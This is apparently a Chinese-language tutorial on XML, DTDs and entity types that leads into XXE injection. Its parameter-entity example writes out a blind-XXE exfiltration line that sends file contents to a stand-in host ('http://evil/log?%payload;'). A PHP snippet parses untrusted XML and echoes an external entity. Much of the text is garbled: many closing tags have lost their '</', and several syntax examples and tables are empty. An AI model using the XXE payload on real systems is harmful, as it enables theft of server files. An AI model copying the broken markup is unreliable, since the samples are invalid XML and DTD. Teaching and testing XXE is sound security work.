没有固定的标签,所有标签都可以自定义
;XML被用于信息的传递和记录
,因此,xml经常被用于充当配置文件。如果把 HTML 和 XML 进行对比的话,HTML 旨在显示数据
信息,而 XML 旨在用来进行数据的传输和存储
。下面XML代码如下:
<bookstore>
<book category="COOKING">
<title lang="en">Everyday ltalian </title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>
xml version= “1.0" encoding=“UTF-8” ?>
实体
实体必须以符号"&"开头,以符号";"结尾。
1)、名称可以包含字母、数字以及其他的字符
2)、名称不能以数字或者标点符号开始
3)、名称不能以字母 xml(或者 XML、Xml 等等)开始
4)、名称不能包含空格
5)、可使用任何名称,没有保留的字词。
1)、属性不能包含多个值(元素可以)
2)、属性不能包含树结构(元素可以)
3)、属性不容易扩展(为未来的变化)
4)、属性难以阅读和维护。请尽量使用元素来描述数据。而仅仅使用属性来提供与数据无关的信息。
错误示范:
<note day="10" month="01" year="2008" to="Tove" from="Jani" heading="Reminder" body="Don't forget me this weekend!"></note>
1)、xml元素属性类似于html标签的属性,如img标签的src属性。
2)、xml属性必须要引号包裹,
3)、如果是单引号包裹,也会被解析为双引号。
代码如下:
<scores>
<student id="1">
<name>张三name>
<course>xmlcourse>
<score>90score>
student>
<student id="2">
<name>李四name>
<course>htmlcourse>
<score>80score>
student>
<student id="3">
<name>王五name>
<course>jscourse>
<score>80score>
student>
scores>
也就是DTD文档类型定义分为内部声明
和外部声明
。
<!DOCTYPE root-element [element-declarations]>
其中root-element是根元素的名称,element-declarations是声明元素的位置
上图红色部分就是DTD声明,我们可以理解为这时告诉服务器“我的结构是这样子的”
1、语法:
<!DOCTYPE root-element SYSTEM "filename">
其中root-element是根元素的名称,filename是外部dtd文件
2、举例:
上面红色部分就是在外部导入一个note.dtd文件
主要构建模块,元素可包含文本、其他元素或是空的。
格式:
<!ELEMENT 元素名 (子元素,子元素...)>
<!ELEMENT 元素名 CONTENT>
CONTENT是元素类型,必须要大写!
CONTENT的内容有三种写法:
符号 | 用途 | 示例 | 示例说明 |
---|---|---|---|
() | 用来给元素分组 | (古龙 | 金庸)(王朔 | 余杰) | 分成两组 |
| | 在列出的对象中选择一个 | (男人 | 女人) | 表示男人或者女人必须出现,两者至少选其一 |
+ | 该对象必须出现一次或者多次 | (成员+) | 表示成员必须出现,而却可以出现多个成员 |
* | 该对象允许出现0次或者多次 | 爱好* | 爱好可以出现0次到多次 |
? | 该对象必须出现0次或者1次 | (菜鸟?) | 菜鸟可以出现,也可以不出现,如果出现的话,最多只能出现一次 |
, | 对象必须按指定的顺序出现 | (西瓜,苹果,香蕉) | 表示西瓜、苹果、香蕉必须出现,并且按这个顺序出现 |
元素的额外信息
格式:
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
属性类型:
CDATA 值为字符数据 (character data)
(en1|en2|…) 此值是枚举列表中的一个值
ID 值为唯一的 id…
默认值:
#REQUIRED 属性值是必需的
#IMPLIED 属性不是必需的
#FIXED value 属性值是固定的
被解析器检查实体并标记。
PCDATA 是会被解析器解析的文本。
文本中的标签会被当作标记来处理,而实体会被展开(被XML文档解析)
。
不过,被解析的字符数据不应当包含任何 &
、<
或者 >
字符;需要使用 &
、<
以及 >
实体来分别替换它们。
这里需要注意的是,#PCDATA是ELEMENT定义的一种数据格式,和PCDATA有着本质区别。
不会被解析的文本。
CDATA (character data) 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。
某些文本,比如 JavaScript 代码,包含大量 “<” 或 “&” 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。CDATA 部分由 “,
由 “]]>” 结束
。
这里需要注意的是,这里的CDATA是说的元素里面的数据,而前面属性中的属性类型CDATA有着本质区别
用来定义普通文本的变量,还可对实体引。
实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。理解为一种变量,或者说实体为一个包裹,数据为包裹里面的物品
,当我们引用这个包时,就是拿了里面的数据。
举例:
a=123
引用方式: &a;
实体主要分为一下四类:
指用十进制格式(aaa;)
或十六进制格式(પ)
来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同
。
类型 | 普通实体 | 参数实体 |
---|---|---|
使用场合 | 用在XML文档中 | 只用在DTD中元素和属性的声明中 |
内部声明方式 | ||
外部声明方式 | ||
引用方式 | &实体名; | %实体名; |
参数实体定义:
参数实体语法:
参数实体外部引用:
引用方法:
定义:
%号是需要处理成 %(这里注意是带有分号;的)
语法:
实例:
% xxe SYSTEM "http://evil/log?%payload;" >'>
%param1;
注意:
%
也可写为16进制%
DTD文档如下:
<!ELEMENT NEWSPAPER (ARTICLE+)>
<!ELEMENT ARTICLE(HEADLINE,BYLINE,LEAD,BODY,NOTES)>
<!ELEMENT HEADLINE (#PCDATA)>
<!ELEMENT BYLINE(#PCDATA)>
<!ELEMENT LEAD(#PCDATA)>
<!ELEMENT BODY (#PCDATA)>
<!ELEMENT NOTES (#PCDATA)>
<!ATTLIST ARTICLE AUTHOR CDATA #REOUIRED>
<!ATTLIST ARTICLE EDITOR CDATA #IMPLIED>
<!ATTLIST ARTICLE DATE CDATA #IMPLIED>
<!ATTLIST ARTICLE EDITION CDATA #IMPLIED>
解析后的XML实列如下:
<NEWSPAPER>
<ARTICLE AUTHOR="1" EDITOR="2">
<HEADLINE>HEADLINE>
<BYLINE>BYLINE>
<LEAD>LEAD>
<BODY>BODY>
<NOTES>NOTES>
ARTICLE>
<ARTICLE AUTHOR="1" EDITOR="2">
<HEADLINE>HEADLINE>
<BYLINE>BYLINE>
<LEAD>LEAD>
<BODY>BODY>
<NOTES>NOTES>
ARTICLE>
NEWSPAPER>
$xml = <<<EOF
]>
&f;
EOF;
$data = simplexml_load_string($xml);
echo "$data";
?>
<<<EOF的特性:
1.PHP定界符的作用就是按照原样,包括换行格式什么的,输出在其内部的东西;
2.在PHP定界符中的任何特殊字符都不需要转义;
3.PHP定界符中的PHP变量会被正常的用其值来替换。